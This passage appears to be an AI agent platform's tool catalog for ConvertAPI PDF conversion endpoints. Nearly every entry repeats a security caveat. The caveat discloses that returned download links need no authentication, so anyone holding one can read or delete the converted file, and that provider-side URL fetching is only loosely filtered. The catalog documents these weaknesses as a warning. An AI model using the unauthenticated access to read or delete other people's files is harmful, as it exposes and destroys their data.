PDF to Markdown converter transforms PDF documents into clean, structured Markdown (.md) format perfect for modern workflows. Built for AI applications, LLM training datasets, embeddings, RAG pipelines, and content migration to static site generators like Hugo, Jekyll, and MkDocs. The conversion intelligently preserves headings, paragraphs, lists, tables, and text hierarchy, producing readable Markdown that integrates seamlessly with Obsidian, Notion, GitHub, and Git workflows. PDFs rarely carry heading styles, so the heading hierarchy is detected from the layout and rebuilt in the Markdown, which is what makes the result chunkable for retrieval. The Images parameter decides... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/md. Scopes: api. convertapi_post_convert_pdf_to_merge (write) — Merge PDF API via POST /convert/pdf/to/merge. The Merge PDF API allows users to combine multiple PDF files into a single PDF document. Some key features of the Merge PDF API include retaining page numbering, eliminating duplicate fonts for improved performance, and generating a table of contents for the merged documents. Additionally, it offers properties like page size to set a consistent page size across the merged document and page orientation to choose between portrait and landscape orientations, ensuring that the final output meets specific formatting requirements. This API is useful for organizing content and reducing the number of separate files by merging them into one. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/merge. Scopes: api. convertapi_post_convert_pdf_to_meta (write) — PDF Metadata API via POST /convert/pdf/to/meta. Read detailed PDF metadata and page counts to power indexing, validation, and automation. Return key fields such as title, author, subject, keywords, creation and modification dates, producer, version, and total pages in a structured JSON format. Open password-protected files when required to ensure complete analysis across secured documents. Ideal for ingestion pipelines, compliance checks, content inventories, and quality gates where accurate document properties are essential. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/meta. Scopes: api. convertapi_post_convert_pdf_to_ocr (write) — PDF OCR API via POST /convert/pdf/to/ocr. Convert scanned PDF documents into fully searchable and editable PDFs using accurate OCR. Detect text in page images and add a hidden text layer that preserves the original appearance while enabling selection and indexing. Select OCR languages to maximize accuracy for multilingual content, choose recognition mode and page segmentation, and limit processing to page ranges for faster runs. Handle password-protected inputs and tune timeouts for large files. Ideal for digitization, compliance, and content discovery. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/ocr. Scopes: api. convertapi_post_convert_pdf_to_pdf (write) — PDF to PDF API via POST /convert/pdf/to/pdf. Take full control of your PDF documents with our feature-rich API. Easily embed fonts, subset characters, set the PDF version, and adjust key metadata like title, subject, author, and more. Customize default page view settings, including page number and zoom, and choose the perfect ColorSpace for optimal presentation. Our PDF API gives you the flexibility to fine-tune every detail of your PDFs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/pdf. Scopes: api. convertapi_post_convert_pdf_to_pdf_watermark (write) — Overlay Watermark PDF API via POST /convert/pdf/to/pdf-watermark. Use a PDF page as an overlay watermark across target PDFs for branding and background graphics. Select the source PDF overlay file and page, control scale and opacity, and position the overlay on each page. Apply to specific pages or ranges, set a watermark style, and add interactive actions such as external links or go-to page navigation. Respect page rotation and place the overlay precisely for consistent, professional results across batches and automated workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/pdf-watermark. Scopes: api. convertapi_post_convert_pdf_to_pdfa (write) — PDF to PDF/A Conversion API via POST /convert/pdf/to/pdfa. Leverage our PDF to PDF/A API to convert your PDFs into the PDF/A format, tailored for archival and preservation needs. This tool supports PDF/A ISO conformance levels, such as PDF/A-1a, PDF/A-1b, PDF/A-2a, PDF/A-2b, PDF/A-2u, PDF/A-3a, PDF/A-3b, PDF/A-3u, PDF/A-4, PDF/A-4e, and PDF/A-4f, ensuring your documents meet strict archival standards. E-Invoice ready. Optionally embed structured e-invoice XML in the output PDF/A. We support Factur-X 1.0 and ZUGFeRD 1.0/2.0 profiles, ideal for compliant archiving and exchange. Use with PDF/A-3 to include the XML payload alongside the visual PDF. It's ideally suited for professionals and organizations looking for a dependable solution for document... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/pdfa. Scopes: api. convertapi_post_convert_pdf_to_pdfua (write) — PDF to PDF/UA API via POST /convert/pdf/to/pdfua. Ensure full accessibility and compliance by converting your PDFs to the PDF/UA (ISO 14289-1) standard. Our API automatically applies essential accessibility features, including logical reading order, semantic tagging, accessible metadata, and alt-text support for images. PDF/UA output ensures compatibility with assistive technologies like screen readers and keyboard navigation tools, while also aligning with key accessibility guidelines such as WCAG. Deliver documents that are perceivable, operable, understandable, and robust for all users. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/pdfua. Scopes: api. convertapi_post_convert_pdf_to_png (write) — PDF to PNG Conversion API via POST /convert/pdf/to/png. Convert PDF documents to PNG images, create hi-res PNGs, and thumbnail images from PDF. Adjust PNG image resolution, dimension, and quality. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/png. Scopes: api. convertapi_post_convert_pdf_to_pptx (write) — PDF to PPTX Conversion API via POST /convert/pdf/to/pptx. Transform PDF documents into editable PowerPoint (PPTX) while maintaining slide fidelity. Preserve layouts, fonts, text, images, tables, charts, and vector graphics so content is ready to refine. Handle protected files with password input and limit processing to specific page ranges to create targeted decks. Recover content from scanned PDFs by enabling OCR, selecting the engine and languages to maximize accuracy. Embed fonts for consistent rendering across devices, and optionally stamp pages when required. Built for automation and batch pipelines, the API produces predictable results suitable for reuse, review, and presentation workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/pptx. Scopes: api. convertapi_post_convert_pdf_to_print (write) — PDF Print Production API via POST /convert/pdf/to/print. The PDF Print Production API prepares PDFs for professional printing with precise control over page geometry, color, and output compliance. Enforce standard or custom trim sizes using multiple measurement units, define bleed on all sides, and generate bleed content using mirror image or pixel repeat modes. Add production marks such as trim marks, registration marks, tint bars, and optional slug text for job identification. Manage color spaces including RGB, sRGB, CMYK, and Gray, and embed industry-standard PDF Output Intents such as FOGRA, GRACoL, SWOP, and Japan Color for print consistency. Custom ICC profiles are supported when required. Optimize output by downsampling images, setting... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/print. Scopes: api. convertapi_post_convert_pdf_to_protect (write) — Protect PDF API via POST /convert/pdf/to/protect. Protect PDF files with strong encryption and granular permissions. Choose AES-256 to secure content, set user and owner passwords, and decide what recipients can do: print, copy, modify contents or annotations, fill forms, assemble, or allow everything. Preserve metadata or encrypt it as needed, and respect existing owner passwords when appropriate. Ideal for automated workflows that harden documents for sharing, compliance, and long-term storage while keeping layout and fidelity intact. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/protect. Scopes: api. convertapi_post_convert_pdf_to_rasterize (write) — Rasterize PDF API via POST /convert/pdf/to/rasterize. The PDF Rasterize API transforms vector-based PDF into single-layer, image-like PDF, ensuring consistent rendering across various platforms and enhancing compatibility, especially with complex graphics. Rasterizing protects document content by making text and vector elements uneditable, making it ideal for creating read-only documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/rasterize. Scopes: api. convertapi_post_convert_pdf_to_redact (write) — Redact Sensitive PDF Data with AI via POST /convert/pdf/to/redact. Automatically detect and black out information in PDF document. Whether you need to secure business documents or protect personal information, our tool provides reliable, efficient, and user-friendly redaction solutions. Start safeguarding your PDFs today with our trusted Data Redact API. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/redact. Scopes: api. convertapi_post_convert_pdf_to_remove_watermark (write) — Remove Watermark PDF API via POST /convert/pdf/to/remove-watermark. Automatically remove text watermarks from PDF documents. AI detects repeated overlay text across pages - status stamps, evaluation marks, ownership notices, and similar text annotations - and removes them cleanly without affecting surrounding content. Only the detected text watermark is removed; other content remains unchanged. Supports watermarks in any language, with an optional hint for unusual cases. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/remove-watermark. Scopes: api. convertapi_post_convert_pdf_to_repair (write) — Repair PDF API via POST /convert/pdf/to/repair. PDF Repair API is designed to restore corrupt and damaged PDF files efficiently. The API analyzes and repairs PDF documents, recovering them either partially or entirely based on the damage extent. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/repair. Scopes: api. convertapi_post_convert_pdf_to_resize (write) — Resize PDF API via POST /convert/pdf/to/resize. The Resize PDF pages API by ConvertAPI allows you to adjust PDF page size, orientation for selected pages. Choose from standard formats like A4 or Letter, or define custom width and height with units in points, millimeters, centimeters, or inches. Ideal for preparing files for print, merging different page sizes, or optimizing PDFs for web and mobile viewing. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/resize. Scopes: api. convertapi_post_convert_pdf_to_rotate (write) — Rotate PDF API via POST /convert/pdf/to/rotate. Rotate pages in PDF documents with precise control over angle and scope. Specify explicit rotation angles and whether to rotate all pages or only pages in a provided range (for example, 1,3-5,10). Enable auto-rotate to detect and correct mis-oriented scans automatically, and open password-protected files when required. Ideal for ingestion and cleanup pipelines that normalize page orientation before OCR, extraction, sharing, or archival, with predictable results across batches. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/rotate. Scopes: api. convertapi_post_convert_pdf_to_rtf (write) — PDF to RTF Conversion API via POST /convert/pdf/to/rtf. Convert PDF documents to Rich Text Format (RTF) for editing in popular word processors. Preserve text flow and basic formatting, tables, images, and paragraph structure so content remains easy to revise and reuse. Limit processing to specific page ranges, open password-protected files, and choose a layout reconstruction mode: Flowing, Continuous, or Exact to balance editability against visual fidelity. Recover content from scanned PDFs by activating OCR, selecting the engine and languages to maximize recognition quality. Designed for automation and batch workflows, the API produces predictable, clean RTF output for search, redaction, and downstream editing. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/rtf. Scopes: api. convertapi_post_convert_pdf_to_split (write) — Split PDF API via POST /convert/pdf/to/split. PDF Split API offers a powerful solution for dividing documents with precision, enabling developers to split large PDF files into individual pages or custom page groups based on specific requirements. This customizable REST API seamlessly integrates into your workflow through simple API calls, supported by comprehensive SDKs and auto-generated code snippets that minimize development time. Built on secure cloud infrastructure with ISO 27001, HIPAA, SOC 2, and GDPR compliance, our PDF Splitter ensures your sensitive documents remain protected while delivering consistent performance. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/split. Scopes: api. convertapi_post_convert_pdf_to_svg (write) — PDF to SVG Conversion API via POST /convert/pdf/to/svg. Convert PDF documents to clean SVG graphics suitable for web and app workflows. Handle password-protected files, limit processing to a specific page range, and rotate pages to correct orientation. Control output using image resolution (DPI), scale proportions with explicit width/height, and apply anti-aliasing for crisp rendering. Map a specific color to transparency to match UI backgrounds or downstream tools and keep results predictable across batches. Ideal for embedding diagrams, pages, and illustrations as scalable vector graphics with consistent characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/svg. Scopes: api. convertapi_post_convert_pdf_to_text_watermark (write) — Watermark PDF API via POST /convert/pdf/to/text-watermark. Add professional text watermarks to PDF pages with granular styling and placement controls. Choose the text and font family, embed or subset fonts, set size, fill and stroke colors with stroke width, and pick the rendering mode. Adjust opacity and rotation, position the watermark within page or crop box, and target specific pages or ranges. Optionally attach a link or a go-to page action and preserve or update PDF metadata as needed. Designed for automation, the API produces consistent, branded results across batches without manual editing. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/text-watermark. Scopes: api. convertapi_post_convert_pdf_to_tiff (write) — PDF to TIFF Conversion API via POST /convert/pdf/to/tiff. Convert PDF documents to robust TIFF images suitable for long-term archiving, print workflows, and interoperability. Handle password-protected files and restrict processing to specific page ranges for targeted exports. Control output with image resolution (DPI) and explicit width/height to fit storage or layout constraints, choose color handling, and select compression to balance fidelity and file size. Generate single- or multi-page TIFF to accommodate lengthy documents and produce consistent results across batches and varying inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/tiff. Scopes: api. convertapi_post_convert_pdf_to_tiff_fax (write) — PDF to TIFF Fax Conversion API via POST /convert/pdf/to/tiff-fax. Convert PDF documents to fax-ready monochrome TIFF using CCITT Group 3 or Group 4 compression for compact, interoperable output. Handle password-protected files and restrict processing to specific page ranges to create targeted exports. Control resolution (DPI) and explicit width/height to meet telephony or archive constraints, and produce single- or multi-page TIFF as needed. Ideal for records workflows, legacy fax systems, and integrations requiring predictable black-and-white raster images with very small file sizes. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/tiff-fax. Scopes: api. convertapi_post_convert_pdf_to_txt (write) — PDF to Text API via POST 